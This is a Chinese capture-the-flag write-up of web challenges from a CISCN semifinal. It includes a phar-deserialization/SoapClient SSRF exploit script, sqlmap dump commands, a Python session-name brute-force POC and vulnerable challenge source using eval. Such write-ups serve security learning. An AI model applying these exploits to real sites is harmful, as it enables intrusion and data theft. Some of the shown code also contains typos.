CISCN-复赛-华东北赛区WP-web

CISCN-复赛-华东北赛区WP-web

image-20220624174150515

这个复赛可以说是拉大胯了,不过不管怎么说,最起码也是有惊无险的进入决赛了,差点就危了...

下面wp除了Java之外其它题目的WP都有了,想要找Java题目WP的师傅可以转走了

1.welcomeToCiscn

直接通过访问/flag获取flag

http://192.168.166.147:58005/flag

image-20220624173807908

flag{61ee5435b6f59d42329ac2644d887dc2}

2.ezphp(300分)

WEB手用QQ就能做题,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58003

http://192.168.166.147:58003

打开题目就跳转到腾讯网页面,F12流量监控也没找到题目正常的返回数据,就用了Burp代理

image-20220619194519069

打开Burp看到流量发往了www.qq.com,手动修改了一下流量目的地址和请求头host

image-20220619194841691

image-20220619195032081

可以看到这回一个提供文件上传接口的地方,访问一下upload.php可以得到源码,但一些字符被html编码

image-20220619195647524

到本地写html页面访问即可得到源码:

upload.php

 <?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8");  //设置编码
error_reporting(0);
include "config.php";
ini_set("max_execution_time","5");
//flag in flag.php
if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmp = $_FILES['file']['tmp_name'];
    $content=file_get_contents($tmp);
    if (preg_match("/<\?|php/i", $content )){
        echo "go away!!!! hacker";
        exit();
    }
    $filepath="storage/";

    if( $filetype=="image/gif" ){
        $random_name=substr(md5(time()), 0, 8);
        if(move_uploaded_file($tmp,$filepath.$random_name.".gif")){
            echo "上传成功:路径在: ./".$filepath.$random_name.".gif";
        }else{
            echo "上传失败";
        }
    }
    else{
        echo "invalid gif";
    }
}
function checkimg($img){
    $check=getimagesize($img);
    if (($check!=false) && ($check['mime'] == 'image/gif')){
        echo "safe image";
    }
    else{
        echo "go away hacker";
    }
}

$img=$_GET["img"];    
if (isset($img)){
    checkimg($img);
}

config.php

<?php
highlight_file(__FILE__);
class Mysql{
    public $conn;
    public $dbhost;
    public $dbusername;
    public $dbpasswd;

    public function __construct()
    {
        if(isset($_POST['dbhost'])&&isset($_POST['dbusername'])&&isset($_POST['dbpasswd']))
        {
            $this->dbhost=$_POST['dbhost'];
            $this->dbusername=$_POST['dbusername'];
            $this->dbpasswd=$_POST['dbpasswd'];
        }
    }

    public function connect()
    {
        $this->conn=new mysqli($this->dbhost,$this->dbusername,$this->dbpasswd);
        if($this->conn->connect_error)
        {
            echo "Connection failed: {$this->conn->connect_error}";
            return False;
        }
        $result=$this->conn->query("select * from test");
        if(is_resource($result))
        {
            return $result->fetch_assoc();
        }
        else
        {
            return False;
        }
    }

    public function __destruct()
    {
        $this->conn->close();
    }
}

这里提示了flag.php访问一下可以直接得到源码:

<?php
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
    file_put_contents("flag.txt",$flag);
} 

分析:

  1. upload.php
    1. 文件类型为image/gif且不被正则"/<\?|php/i"匹配到的时候会将文件上上传到storage/xxxxxxxx.gif
    2. 如果有img参数的时候会使用getimagesize函数获取图片信息
  2. config.php
    1. 只有一个类:Mysql
    2. 它的connect函数不可用,能利用的函数只有__destruct,在它里面调用了关闭连接的函数$this->conn->close();
  3. flag.php
    1. 这里会将flag复制到flag.txt中,但是必须本地访问才行

解题思路:

  1. 首先明确最后目标:实现127.0.0.1访问flag.php
  2. 文件内容正则匹配php并且有getimagesize函数就很自然想到phar反序列化
  3. 反序列化什么类呢?这里给了Mysql类,就从它入手,结合最终目的SSRF想到原生类利用中的SoapClient,销毁函数会调用conn成员的close函数,就满足SoapClient__call函数执行条件

最终得到解题步骤:

  1. 构造一个Mysql对象,让它的conn成员访问http://127.0.0.1/flag.phpSoapClient对象
  2. 将得到的对象放入Phar文件的Metadata数据段
  3. 为了绕过正则过滤,将原始的phar压缩为.tar.gz

构造实现脚本:

<?php
class Mysql
{
    public $conn;
    public $dbhost;
    public $dbusername;
    public $dbpasswd;

    public function __construct($conn, $dbhost, $dbusername, $dbpasswd)
    {
        $this->conn = $conn;
        $this->dbhost = $dbhost;
        $this->dbusername = $dbusername;
        $this->dbpasswd = $dbpasswd;
    }
    public function __destory(){
        @system("calc");
        $this->conn->clase();
    }
}

$soap = new SoapClient(null,array("location"=>"http://127.0.0.1/flag.php","uri"=>"http://127.0.0.1/flag.php"));
$mysql=new Mysql(
    $soap,
    "xxx",
    "xxx",
    "xxx",
);

$ser=$mysql;
@unlink("phar.gif");
$phar = new Phar("phar.phar");
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ser);
$phar->addFromString("f1ag.txt","f1ag{PharData}");
$phar->stopBuffering();
@system("move phar.phar.tar.gz phar.gif");
@system("ls|findstr phar");
include("phar://./phar.gif/f1ag.txt");
@system("type phar.gif");

运行上面脚本可以获得phar.gif并且输出里面的数据,然后可以看到生成的phar.gif并没有正则匹配的数据段

再写一个form表单向题目上传文件:

<html lang="en">
<body>
<form action="http://192.168.166.147:58003/upload.php" name="name" method="post" enctype="multipart/form-data" target="">
    file:<input type="file" name="file">
    <br>
    <input type="submit" value="提交">
</form>
</body>
</html>

image-20220619202551241

上传文件后自动跳转到题目的/upload.php下面,得到文件上传地址

image-20220619202710848

然后使用phar协议加载这个文件地址即可触发反序列化

http://192.168.166.147:58003/upload.php?img=phar://./storage/ae08a63f.gif

image-20220619203123372

最终会因为反序列化调用SoapClient访问/flag.php而将flag写入flag.txt,但是因为我们的文件格式并不是gif所以并不会满足if条件而输出go away hacker但是问题不大,此时去访问flag.txt即可得到flag

http://192.168.166.147:58003/flag.txt

image-20220619203336153

3.ezsql(300分)

炒鸡简单的注入,送大分。提交flag格式:flag{xxxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58004

http://192.168.166.147:58004

注入点为第二和第三个功能框,这里选用了第三个功能框,添加类型的地方就是注入点,把请求拉下来之后可以直接跑sqlmap,但是离谱的是我们只能读取到<blank>

–-dbs --batch       #查表名

sqlmap -u "url" -D f0ig_wdp435s --tables --batch      #查表名

sqlmap -u "url" -D f0ig_wdp435s -T fllaaagggg --columns --batch   #查字段名

sqlmap -u "url" -D f0ig_wdp435s-T fllaaagggg -C FI@g --dump --batch   #查字段值(flag)

一开始以为是需要建表读取/flag或者提升为root读取其它数据库,结果发现不仅不支持堆叠,而且当前已经是root了,最后我们几乎把整个数据库都给dump下来了都没见过flag

赛后找到其他师傅问到的wp看到flag就在

4.会聊天的ctf(600分)

小明最近在学PHP,写了一个聊天机器人,看上去不太智能也不太安全的样子。他还使用了测试账号进行测试,似乎留有一些痕迹。 提交答案格式:flag{xxx}。该题环境的ip为:web-模板机get_ip的ip,端口为:58001

http://192.168.166.147:58001

POC:

import random
import string

import requests
url="http://1.117.23.177/test.php"
session_id="sess_"
session=requests.session()

while 1:
    for c in "xq"+string.ascii_lowercase + string.digits:
        # 自行修改文件地址为对应的session保存地址,使用题目地址的话需要确保www-data用户可以建立文件夹并且有读取权限
        # 先确认好这个,要不然跑不出来闹乌龙
        # 下面请求后生成一个session为qf4d2jtij6qsn89ms4nlag8rvg的文件/var/lib/php/sessions/sess_qf4d2jtij6qsn89ms4nlag8rvg
        filename = "glob:///var/lib/php/sessions/"+session_id+c+"*"
        data = {
            "uploadc": "xxx",
            "cname": filename
        }
        res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
        print( res.text )
        data = {
            "input": "xxx"
        }
        print("-"*50)
        res = session.post(url, data, cookies = {"PHPSESSID":"qf4d2jtij6qsn89ms4nlag8rvg"})
        print(res.text)
        if "请先上传词库文件" not in res.text:
            session_id += c
            print("session is =>",session_id)
        print("-"*100)

为方便测试,改一下原本的代码:

<?php

function init(){
//    $sesspath = "/tmp/session";
//    session_save_path($sesspath);
    //因为本地有一些权限问题所以就不该session文件路径了,直接使用默认路径
    session_start();
    if (!$_SESSION['cname']){
        $_SESSION['cname'] = 'ck';
    }
//    if(!file_dir_exists("/tmp/resource"))
//        mkdir("/tmp/resource");
}
init();
function file_dir_exists($path){
    echo "file_dir_exists::PATH::$path\n";
    $dir = dir($path);
    $dir_read = $dir->read();
    echo "DIR_READ::".$dir_read."\n";
    if ($dir){
//        if ($dir->read())
        if ($dir_read)
            return true;
    }
    return is_file($path);
}

function getres($input){
    log_write($input);
    chdir("/tmp/resource/");
    $path = $_SESSION['cname'];
    if(!file_dir_exists($path)){
        return "请先上传词库文件。";
    }
    $ck = json_decode(file_get_contents($path),true);
    foreach ($ck as $key => $value){
        if (strstr($key,$input) or strstr($input,$key)){
            $type = key($value);
            $v = $value[$type];
            switch ($type){
                case "string":
                    return $v;
                case "image":
                    $b64img = '<img src="data:image/png;base64,'.base64_encode(file_get_contents($v)) . '"/>';
                    return $b64img;
                case "calc":
                    if ($_SESSION['is_admin']){
                        if (preg_match("/\(|\)|\'|\"/im",$v)){
                            return "包含非法字符";
                        }
                        return eval("return $v;");
                    }else{
                        return "admin才能使用这个功能";
                    }
                default:
                    return "这个动作暂时还没能实现";
            }

        }
    }
    return "没有匹配到词库消息";
}

function uploadc(){
    $data = $_REQUEST['uploadc'];
    $filename = $_REQUEST['cname'];
    $resourcedir = "/tmp/resource/";
//    if(!file_dir_exists($resourcedir))
//        mkdir($resourcedir);
    if(strpos($data,"<")){
        die("别这样!");
    }
    if(strpos($filename,".")){
        die("别这样!");
    }
    $_SESSION['cname'] = $filename;
    echo "设置SESSION_CNAME成功:".$_SESSION['cname']."\n";
    if(file_put_contents($resourcedir.$filename,$data)) {
        return "上传成功";
    }else{
        return "上传失败";
    }
}
function log_write($msg){
    $logpath = "log.txt";
    $oper = session_id();
    $opername = substr($oper,0,1) ;
    for ($i=0;$i <= strlen($oper);$i++)
        $opername .= "*";
    file_put_contents($logpath,"$opername : $msg \n",FILE_APPEND);
}

if(isset($_REQUEST['input']))
    echo getres($_REQUEST['input']);
if(isset($_REQUEST['uploadc']))
    echo uploadc();
if(isset($_REQUEST['clear']))
    file_put_contents("log.txt","");
if(isset($_GET['log']))
    echo file_get_contents("log.txt");

5.Easy_Java(300分)

简单的Java反序列化,提交flag格式:flag{xxxx},该题环境的ip为:web-模板机get_ip的ip,端口为:58002

http://192.168.166.147:58002

这个只知道是应该是cc5打TiedMapEntry的totring方法,执行点需要是一个无参点,但是因为本地的java链接不上maven项目的jar包根本调不下去就没做了,大摆....

image-20220620205401982

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇